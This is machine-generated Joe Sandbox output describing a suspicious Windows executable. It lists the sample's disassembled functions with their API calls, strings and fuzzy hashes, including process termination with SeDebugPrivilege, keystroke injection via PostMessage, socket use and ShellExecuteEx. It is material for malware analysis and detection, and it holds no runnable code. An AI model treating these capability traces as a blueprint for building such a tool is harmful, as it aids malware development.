Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 593de034e5e4e4d0c7577d49f4f0ee42f059b4ac2b7e3f2f8a8d1d77772b2383
Instruction ID: c20b558fdb58d53c91b410f2265d4d0fe2986c29dbe1d8ee966690228385f9d2
Opcode Fuzzy Hash: 593de034e5e4e4d0c7577d49f4f0ee42f059b4ac2b7e3f2f8a8d1d77772b2383
Instruction Fuzzy Hash: F741A071A00348ABEB219F64CC85BEF77A8EF08354F11052BF944A7291D6799D898B68

Function 004AE933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00493C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00493C7A
Part of subcall function 00493C55: Process32FirstW.KERNEL32(00000000,?), ref: 00493C88
Part of subcall function 00493C55: CloseHandle.KERNEL32(00000000), ref: 00493D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 004AE9A4
GetLastError.KERNEL32 ref: 004AE9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004AE9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 004AEA63
GetLastError.KERNEL32(00000000), ref: 004AEA6E
CloseHandle.KERNEL32(00000000), ref: 004AEAA3

Strings

SeDebugPrivilege, xrefs: 004AE9C2

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: a080a2b34b5b5146fdea5d43db540397d76a6a728bc5186afa392bf9ed31de72
Instruction ID: e443a5f15966283faf2c9b532830cd6138d4f4b88ee1f28935e066e11fbd9e05
Opcode Fuzzy Hash: a080a2b34b5b5146fdea5d43db540397d76a6a728bc5186afa392bf9ed31de72
Instruction Fuzzy Hash: 8441BF712002009FDB14EF56CC95F6EB7A5AF55318F04841EF9069B3D2DBB8AC08CB99

Function 00492F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00493033

Strings

blank, xrefs: 00492FB5
stop, xrefs: 00493004
warning, xrefs: 0049301C
info, xrefs: 00492FD4
question, xrefs: 00492FEC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 3a8b322f737cb3afb60ba6e45fdf9318c93562487c180e56d6fbe2951403d48c
Instruction ID: 8a243c1926a53c7c122ca4a994ed427b1aad8f75c835ec02e748d2e39b262903
Opcode Fuzzy Hash: 3a8b322f737cb3afb60ba6e45fdf9318c93562487c180e56d6fbe2951403d48c
Instruction Fuzzy Hash: 26112631248386BADF149F56DC43D6B7F9C9F17366B20003FF90466282DEAC5E0456AD

Function 004942F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00494312
LoadStringW.USER32(00000000), ref: 00494319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0049432F
LoadStringW.USER32(00000000), ref: 00494336
_wprintf.LIBCMT ref: 0049435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0049437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00494357

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 660666d1962b6898a538ad43d6a31ed7cc153ac45d13c518eb7c16ca01288889
Instruction ID: 67a15d2e6a5bdde70263fd326ebd328e5485eb622182d51331a120e78095a098
Opcode Fuzzy Hash: 660666d1962b6898a538ad43d6a31ed7cc153ac45d13c518eb7c16ca01288889
Instruction Fuzzy Hash: 330162F3900208BFE7519BA4DD89EE7776CDB08301F0005B6BF49E6052EA745E8A4B79

Function 004BD43E Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

GetSystemMetrics.USER32(0000000F), ref: 004BD47C
GetSystemMetrics.USER32(0000000F), ref: 004BD49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 004BD6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 004BD6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 004BD716
ShowWindow.USER32(00000003,00000000), ref: 004BD735
InvalidateRect.USER32(?,00000000,00000001), ref: 004BD75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 004BD77D

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: f855051c8cd353f3dba41f3c642fef60c18305397038325738341b19dac4791f
Instruction ID: 5588d4f5b93a83764402d48e8ef8ebd2b62d06452ade2963f5aa18aaf1b3ca3a
Opcode Fuzzy Hash: f855051c8cd353f3dba41f3c642fef60c18305397038325738341b19dac4791f
Instruction Fuzzy Hash: 1AB17B71A00615EBDF14CF68C9C57EA7BB1BF04711F0881BAEC489B295EB38A950CB64

Function 00432A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0046C1C7,00000004,00000000,00000000,00000000), ref: 00432ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0046C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00432B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0046C1C7,00000004,00000000,00000000,00000000), ref: 0046C21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0046C1C7,00000004,00000000,00000000,00000000), ref: 0046C286

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: b63afa98081d2f0286dda56be07d43ed2bd2616ca0751b9ddce4a298bbee4d75
Instruction ID: d11757a1c23cc95ec0c2aa106b41c2f589901319d019f394a16d43ab9b454602
Opcode Fuzzy Hash: b63afa98081d2f0286dda56be07d43ed2bd2616ca0751b9ddce4a298bbee4d75
Instruction Fuzzy Hash: 54412E306047809BCB75AB298EDC77B7BD1AB4D300F14986FE48782660C6BCA846D71E

Function 004970C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 004970DD

Part of subcall function 00450DB6: std::exception::exception.LIBCMT ref: 00450DEC
Part of subcall function 00450DB6: __CxxThrowException@8.LIBCMT ref: 00450E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00497114
EnterCriticalSection.KERNEL32(?), ref: 00497130
_memmove.LIBCMT ref: 0049717E
_memmove.LIBCMT ref: 0049719B
LeaveCriticalSection.KERNEL32(?), ref: 004971AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 004971BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 004971DE

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 50dfdb90eb75e744aafd651482b3edd5c7f1d89317daad5b46e77636fee40e54
Instruction ID: 65c8b3a9290f7d1838d85a55be07b031bb70b21fe871e17c47d6651f53706f18
Opcode Fuzzy Hash: 50dfdb90eb75e744aafd651482b3edd5c7f1d89317daad5b46e77636fee40e54
Instruction Fuzzy Hash: E0317235900205EBCF00DFA5DC869AF7B78EF45311F1441BAED04AB256DB349E18CBA8

Function 004B61D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004B61EB
GetDC.USER32(00000000), ref: 004B61F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004B61FE
ReleaseDC.USER32(00000000,00000000), ref: 004B620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 004B6246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004B6257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,004B902A,?,?,000000FF,00000000,?,000000FF,?), ref: 004B6291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 004B62B1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: d9dc1555e50c4ad8c9f3f05f0f0377ed959ea6174997434e417a989e037c3712
Instruction ID: 935adafaf73dda2a431baff2d52fdc4ce33f0929b3d9ee0f1a41eda9df8c6d7e
Opcode Fuzzy Hash: d9dc1555e50c4ad8c9f3f05f0f0377ed959ea6174997434e417a989e037c3712
Instruction Fuzzy Hash: 74318D72101210BFEF159F54CC8AFEB3BA9EF49765F040166FE089A291C6799C41CB78

Function 0048BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0048BBC4
_memcmp.LIBCMT ref: 0048BBE6
_memcmp.LIBCMT ref: 0048BBFE
_memcmp.LIBCMT ref: 0048BC11
_memcmp.LIBCMT ref: 0048BC2B
_memcmp.LIBCMT ref: 0048BC3E
_memcmp.LIBCMT ref: 0048BC56
_memcmp.LIBCMT ref: 0048BC71

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9545e7a404fc456d21202807966a8dd2a117247fa664fd29aef1f07cd72ac115
Instruction ID: f8f239cbf062b6ef2a45589eaa69788bde2960d6c9124f5ffb126a56a0fe17de
Opcode Fuzzy Hash: 9545e7a404fc456d21202807966a8dd2a117247fa664fd29aef1f07cd72ac115
Instruction Fuzzy Hash: 8221B0616012067FA2047A129E42FBF775CDE11348B18482FFD0596B47EBACEE1683ED

Function 0049EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

Part of subcall function 0044FC86: _wcscpy.LIBCMT ref: 0044FCA9

_wcstok.LIBCMT ref: 0049EC94
_wcscpy.LIBCMT ref: 0049ED23
_memset.LIBCMT ref: 0049ED56

Strings

X, xrefs: 0049ED93

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 2cdd60810a74d40bd2ff233dba071b606b6330683a32b1e88e9825dbf0f00f20
Instruction ID: dc5ca6d883b635e57b829d48ffcaaf596575cdff625120971fc02e8b972d8e37
Opcode Fuzzy Hash: 2cdd60810a74d40bd2ff233dba071b606b6330683a32b1e88e9825dbf0f00f20
Instruction Fuzzy Hash: E3C182715083419FDB64EF25C881A5EB7E0FF49314F10492EF899972A2DB78EC45CB4A

Function 004A6B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 004A6C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 004A6C21
WSAGetLastError.WSOCK32(00000000), ref: 004A6C34
htons.WSOCK32(?,?,?,00000000,?), ref: 004A6CEA
inet_ntoa.WSOCK32(?), ref: 004A6CA7

Part of subcall function 0048A7E9: _strlen.LIBCMT ref: 0048A7F3
Part of subcall function 0048A7E9: _memmove.LIBCMT ref: 0048A815

_strlen.LIBCMT ref: 004A6D44
_memmove.LIBCMT ref: 004A6DAD

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 1fa402e117b0d3f3e52b71ce301c2f2e9be84e03adafdc30ffd25e2c8d79ed9c
Instruction ID: 97842a73a115c14b3fe46893fcebe13c1894bf375a181ea98407fac56a3d6bab
Opcode Fuzzy Hash: 1fa402e117b0d3f3e52b71ce301c2f2e9be84e03adafdc30ffd25e2c8d79ed9c
Instruction Fuzzy Hash: DF811371204300ABC710EF25CC82F6FB7A8AF99718F14491EF9559B292DB78ED05CB5A

Function 00431424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6325a5255b2d047adc2b4ff66abde3e1510205c30aaf3a7ec9d00d6c0c7d954
Instruction ID: 7a99f594a671cff4496a1e31a43c83454be5743964225531473a241505b7e79a
Opcode Fuzzy Hash: b6325a5255b2d047adc2b4ff66abde3e1510205c30aaf3a7ec9d00d6c0c7d954
Instruction Fuzzy Hash: 41716D30900109EFDB049F59CC44EBFBB75FF89314F14C15AF915AA261D738AA51CBA9

Function 004BB351 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00E54A88), ref: 004BB3EB
IsWindowEnabled.USER32(00E54A88), ref: 004BB3F7
SendMessageW.USER32(?,0000041C,00000000,00000000), ref: 004BB4DB
SendMessageW.USER32(00E54A88,000000B0,?,?), ref: 004BB512
IsDlgButtonChecked.USER32(?,?), ref: 004BB54F
GetWindowLongW.USER32(00E54A88,000000EC), ref: 004BB571
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 004BB589

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 8cf7ac7cf88a09bdb9915f658c892601558fa41f364ce0b7ac055592ad4927d8
Instruction ID: d8a453c8a3edde3e178325bea40cf7334087b29106a434697276d08ea4b6a096
Opcode Fuzzy Hash: 8cf7ac7cf88a09bdb9915f658c892601558fa41f364ce0b7ac055592ad4927d8
Instruction Fuzzy Hash: D771AF34600604EFDB219F65CC90FFA7BB9FF09300F14416AEA4597362C7B9A851DBA8

Function 004AF41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004AF448
_memset.LIBCMT ref: 004AF511
ShellExecuteExW.SHELL32(?), ref: 004AF556

Part of subcall function 00439837: __itow.LIBCMT ref: 00439862
Part of subcall function 00439837: __swprintf.LIBCMT ref: 004398AC

Part of subcall function 0044FC86: _wcscpy.LIBCMT ref: 0044FCA9

GetProcessId.KERNEL32(00000000), ref: 004AF5CD
CloseHandle.KERNEL32(00000000), ref: 004AF5FC

Strings

@, xrefs: 004AF525

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: eeecedb76894d4471def0431ccce51c0ff22cfa475474827aee95ea16bd4484e
Instruction ID: 5012287a687a60197a9508148710a85b7bd9b8a14ae6b442ac1b96e38dcbf90c
Opcode Fuzzy Hash: eeecedb76894d4471def0431ccce51c0ff22cfa475474827aee95ea16bd4484e
Instruction Fuzzy Hash: 49619D75A006199FCB14EF99C8819AEBBB4FF59314F14806EE815AB351CB38AD45CF88

Function 00490F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00490F8C
GetKeyboardState.USER32(?), ref: 00490FA1
SetKeyboardState.USER32(?), ref: 00491002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00491030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0049104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00491095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 004910B8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: d9f4b88b9589d88af0590ca14ca51289f9592f89e52bdd9523a787278dae87bc
Instruction ID: a75f5f9ad4dcca62971fe9efd3a38b6e143fec8d191a211e140075d2e9c5d1ce
Opcode Fuzzy Hash: d9f4b88b9589d88af0590ca14ca51289f9592f89e52bdd9523a787278dae87bc
Instruction Fuzzy Hash: 215113605047D23EFF3246348C05BBBBEA96B06304F0885AAE1D8459E3C2DDECC9D759

Function 00490D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00490DA5
GetKeyboardState.USER32(?), ref: 00490DBA
SetKeyboardState.USER32(?), ref: 00490E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00490E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00490E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00490EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00490EC9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 0195fdbb046c254981c742bc9c4da1fdbc4a02f4d8cb3564679b56c7f09e765b
Instruction ID: 4a5ee3e947949bd3757bbdd3209144b7457c258604bdd4c56654a5780edc9580
Opcode Fuzzy Hash: 0195fdbb046c254981c742bc9c4da1fdbc4a02f4d8cb3564679b56c7f09e765b
Instruction Fuzzy Hash: F85116A05447D53DFF3287348C45B7B7FA95B06300F0889AEF1D8569C2C399AC88D758

Function 004955FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0049560A
_wcsncpy.LIBCMT ref: 0049563F
_wcsncpy.LIBCMT ref: 00495671
_wcsncpy.LIBCMT ref: 004956A4
_wcsncpy.LIBCMT ref: 004956E6
_wcsncpy.LIBCMT ref: 00495720
_wcsncpy.LIBCMT ref: 0049574F

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
